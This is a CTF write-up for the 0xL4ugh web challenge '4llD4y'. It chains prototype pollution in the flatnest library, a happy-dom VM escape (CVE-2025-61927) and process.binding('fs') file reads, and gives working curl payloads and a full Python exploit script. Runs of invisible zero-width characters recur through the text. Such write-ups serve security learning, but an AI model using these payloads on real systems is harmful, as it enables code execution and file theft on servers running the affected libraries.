← Back to Writeups
HTBN/AWeb

4llD4y

XESXOR8/23/20266 min read
#web#htb#n/a#CVE-2025-61927

4llD4y

Platform: 0Xl4Ugh | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-23 | Status: Solved Techniques: process_binding_fs, prototype_pollution_via_circular_reference, vm_escape

Summary

Challenge URL: http://challenges3.ctf.sd:34102/

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: 0xl4ugh | ID: 20260123_0xl4ugh_4lld4y
  • Tags: nodejs, express, prototype-pollution, happy-dom, vm-escape, flatnest, circular-reference, node-binding
  • Indicators: flatnest nest(), happy-dom Window, circular reference [Circular (path)], enableJavaScriptEvaluation
  • Source: 20260123_0xl4ugh_4lld4y.md

Foothold

Vulnerability / Misconfiguration

  1. Process_binding_fs
  2. Prototype_pollution_via_circular_reference
  3. Vm_escape
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • process_binding_fs
  • prototype_pollution_via_circular_reference
  • vm_escape
  • Tags: nodejs, express, prototype-pollution, happy-dom, vm-escape, flatnest, circular-reference, node-binding

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Stuck in the same day."

Challenge URL: http://challenges3.ctf.sd:34102/

Node.js Express application with two endpoints:

  • /config — calls nest(incoming) from the flatnest library
  • /render — creates a new happy-dom Window and renders HTML

Source Code

app.js

import express from 'express';
import { Window } from 'happy-dom';
import { nest } from 'flatnest';

const app = express();
app.use(express.json({ limit: '1mb' }));

app.post('/config', (req, res) => {
  const incoming = typeof req.body === 'object' && req.body ? req.body : {};
  try {
    nest(incoming);
  } catch (error) {
    return res.status(400).json({ error: 'invalid config', details: error.message });
  }
  return res.json({ message: 'configuration applied' });
});
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

app.post('/render', (req, res) => {
    try{
        const html = typeof req.body?.html === 'string' ? req.body.html : '';
        const window = new Window({ console});
        window.document.write(html);
        const output = window.document.documentElement.outerHTML;
        res.type('html').send(output);
    }
    catch(e){
        console.log("Error ", e)
        res.json({"Error": e})
    }
});

app.listen(3000, '0.0.0.0', () => {
    console.log('Happy DOM listening on http://localhost:3000');
});

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

package.json

{
    "name": "happy-dom-challenge",
    "version": "1.0.0",
    "type": "module",
    "main": "app.js",
    "dependencies": {
        "express": "^5.2.1",
        "happy-dom": "^20.3.1",
        "flatnest": "^1.0.1"
    }
}

init.sh

#!/bin/sh
echo "$FLAG" >> /flag_$(head -c 8 /dev/urandom | od -An -tx1 | tr -d ' ').txt
unset FLAG
export FLAG=Nope
supervisord -c /etc/supervisor/conf.d/supervisord.conf

The flag is written to a file with a random name /flag_<random>.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Vulnerability 1: Prototype Pollution in flatnest via Circular Reference

The flatnest library version 1.0.1 has a nest() function that transforms a flat object into a nested one:

// Example: {"a.b.c": 1} -> {a: {b: {c: 1}}}

The insert() function has protection against __proto__ and constructor:

function insert(obj, path, value) {
  // ... checks for __proto__ and constructor
}

However, the seek() function used for handling circular references does NOT have such protection: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

function seek(obj, path) {
  // No checks for __proto__ or constructor!
  const parts = path.split('.');
  let current = obj;
  for (const part of parts) {
    current = current[part];
  }
  return current;
}

When a value starts with [Circular ( and ends with )], flatnest calls seek() with the path inside the brackets:

if (typeof value === 'string' && value.startsWith('[Circular (') && value.endsWith(')]')) {
  const circularPath = value.slice(11, -2); // Extracts the path
  value = seek(obj, circularPath);          // Calls seek() WITHOUT sanitization!
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Exploitation:

{
  "x": "[Circular (constructor.prototype)]",
  "x.settings": {"enableJavaScriptEvaluation": true}
}
  1. x gets the value [Circular (constructor.prototype)]
  2. Flatnest calls seek(obj, "constructor.prototype")
  3. seek() returns Object.prototype (via obj.constructor.prototype)
  4. Then x.settings sets Object.prototype.settings = {...}

Vulnerability 2: Enabling JavaScript in happy-dom

In happy-dom v20+, JavaScript execution is disabled by default (enableJavaScriptEvaluation: false). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The Window constructor accepts options:

const window = new Window({ console });

If an empty object or an object without settings is passed, happy-dom looks for settings in the prototype:

// Inside happy-dom:
const settings = options.settings || {};
// If options.settings is undefined, Object.prototype.settings is checked

After prototype pollution:

Object.prototype.settings = { enableJavaScriptEvaluation: true };

Now new Window({}) will have enableJavaScriptEvaluation: true. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 3: VM Escape in happy-dom (CVE-2025-61927)

After enabling JavaScript, code executes in an isolated VM context. However, there's a way to escape it:

const process = this.constructor.constructor('return process')();

This works because:

  1. this — object in VM context
  2. this.constructor — object constructor (Object)
  3. this.constructor.constructor — Function from the main Node.js context
  4. Function('return process')() returns the global process object

Reading Files via process.binding

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

In ESM mode, process.mainModule.require doesn't work. But process.binding('fs') provides direct access to the filesystem:

const fs = process.binding('fs');

// List files in directory
const files = fs.readdir('/', 1, false);  // encoding=1 for UTF-8

// Read file
const content = fs.readFileUtf8('/flag.txt', 0);

Solution

Step 1: Prototype Pollution via /config

curl -X POST http://challenges3.ctf.sd:34102/config \
  -H "Content-Type: application/json" \
  -d '{
    "x": "[Circular (constructor.prototype)]",
    "x.settings": {"enableJavaScriptEvaluation": true}
  }'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

{"message": "configuration applied"}

Step 2: Getting the List of Files in Root

curl -X POST http://challenges3.ctf.sd:34102/render \
  -H "Content-Type: application/json" \
  -d '{
    "html": "<script>const process = this.constructor.constructor(\"return process\")(); const fs = process.binding(\"fs\"); const files = fs.readdir(\"/\", 1, false); document.body.innerHTML = JSON.stringify(files);</script>"
  }'

The response contains a list of files, including flag_890d1a5ed71faa61.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Reading the Flag

curl -X POST http://challenges3.ctf.sd:34102/render \
  -H "Content-Type: application/json" \
  -d '{
    "html": "<script>const process = this.constructor.constructor(\"return process\")(); const fs = process.binding(\"fs\"); document.body.innerHTML = fs.readFileUtf8(\"/flag_890d1a5ed71faa61.txt\", 0);</script>"
  }'

Full Exploit (Python)

#!/usr/bin/env python3
"""
0xl4ugh CTF - 4llD4y
Prototype Pollution + happy-dom VM Escape
"""

import requests
import re
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

TARGET = "http://challenges3.ctf.sd:34102"

def exploit():
    s = requests.Session()
    
    # Step 1: Prototype pollution via circular reference bypass
    print("[*] Step 1: Polluting Object.prototype.settings...")
    r = s.post(f"{TARGET}/config", json={
        "x": "[Circular (constructor.prototype)]",
        "x.settings": {"enableJavaScriptEvaluation": True}
    })
    print(f"    Response: {r.json()}")
    
    # Step 2: List root directory to find flag filename
    print("[*] Step 2: Listing / directory...")
    payload_list = '''<script>
const process = this.constructor.constructor("return process")();
const fs = process.binding("fs");
const files = fs.readdir("/", 1, false);
document.body.innerHTML = JSON.stringify(files);
</script>'''
    
    r = s.post(f"{TARGET}/render", json={"html": payload_list})
    
    # Find flag file
    flag_match = re.search(r'flag_[a-f0-9]+\.txt', r.text)
    if not flag_match:
        print("[-] Flag file not found!")
        print(f"    Response: {r.text[:500]}")
        return
    
    flag_file = flag_match.group(0)
    print(f"    Found flag file: {flag_file}")
    
    # Step 3: Read flag
    print("[*] Step 3: Reading flag...")
    payload_read = f'''<script>
const process = this.constructor.constructor("return process")();
const fs = process.binding("fs");
document.body.innerHTML = fs.readFileUtf8("/{flag_file}", 0);
</script>'''
    
    r = s.post(f"{TARGET}/render", json={"html": payload_read})
    
    # Extract flag
    flag_match = re.search(r'0xL4ugh\{[^}]+\}', r.text)
    if flag_match:
        print(f"\n[+] FLAG: {flag_match.group(0)}")
    else:
        print(f"    Response: {r.text}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    exploit()

Attack Chain

Prototype Pollution (flatnest circular ref bypass)
    ↓
Object.prototype.settings = {enableJavaScriptEvaluation: true}
    ↓
happy-dom Window reads polluted settings
    ↓
JavaScript execution enabled in VM
    ↓
VM Escape via this.constructor.constructor
    ↓
process.binding('fs') for file access
    ↓
readdir() + readFileUtf8() → FLAG

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR